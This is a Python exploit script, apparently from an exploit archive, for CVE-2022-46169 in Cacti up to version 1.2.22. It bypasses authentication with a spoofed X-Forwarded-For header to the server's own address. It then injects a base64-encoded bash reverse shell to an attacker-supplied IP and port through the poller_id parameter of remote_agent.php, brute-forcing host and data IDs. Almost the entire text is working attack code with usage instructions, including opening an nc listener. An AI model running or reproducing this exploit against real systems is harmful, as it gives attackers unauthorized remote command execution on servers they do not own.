Cacti v1.2.22 – Remote Command Execution (RCE)
# Exploit Title: Cacti v1.2.22 - Remote Command Execution (RCE) # Exploit Author: Riadh BOUCHAHOUA # Discovery Date: 2022-12-08 # Vendor Homepage: https://www.cacti.net/ # Software Links : https://github.com/Cacti/cacti # Tested Version: 1.2.2x <= 1.2.22 # CVE: CVE-2022-46169 # Tested on OS: Debian 10/11 #!/usr/bin/env python3 import random import httpx, urllib class Exploit: def __init__(self, url, proxy=None, rs_host="",rs_port=""): self.url = url self.session = httpx.Client(headers={"User-Agent": self.random_user_agent()},verify=False,proxies=proxy) self.rs_host = rs_host self.rs_port = rs_port def exploit(self): # cacti local ip from the url for the X-Forwarded-For header local_cacti_ip = self.url.split("//")[1].split("/")[0] headers = { 'X-Forwarded-For': f'{local_cacti_ip}' } revshell = f"bash -c 'exec bash -i &>/dev/tcp/{self.rs_host}/{self.rs_port} <&1'" import base64 b64_revshell = base64.b64encode(revshell.encode()).decode() payload = f";echo {b64_revshell} | base64 -d | bash -" payload = urllib.parse.quote(payload) urls = [] # Adjust the range to fit your needs ( wider the range, longer the script will take to run the more success you will have achieving a reverse shell) for host_id in range(1,100): for local_data_ids in range(1,100): urls.append(f"{self.url}/remote_agent.php?action=polldata&local_data_ids[]={local_data_ids}&host_id={host_id}&poller_id=1{payload}") for url in urls: r = self.session.get(url,headers=headers) print(f"{r.status_code} - {r.text}" ) pass def random_user_agent(self): ua_list = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", ] return random.choice(ua_list) def parse_args(): import argparse argparser = argparse.ArgumentParser() argparser.add_argument("-u", "--url", help="Target URL (e.g. http://192.168.1.100/cacti)") argparser.add_argument("-p", "--remote_port", help="reverse shell port to connect to", required=True) argparser.add_argument("-i", "--remote_ip", help="reverse shell IP to connect to", required=True) return argparser.parse_args() def main() -> None: # Open a nc listener (rs_host+rs_port) and run the script against a CACTI server with its LOCAL IP URL args = parse_args() e = Exploit(args.url, rs_host=args.remote_ip, rs_port=args.remote_port) e.exploit() if __name__ == "__main__": main() |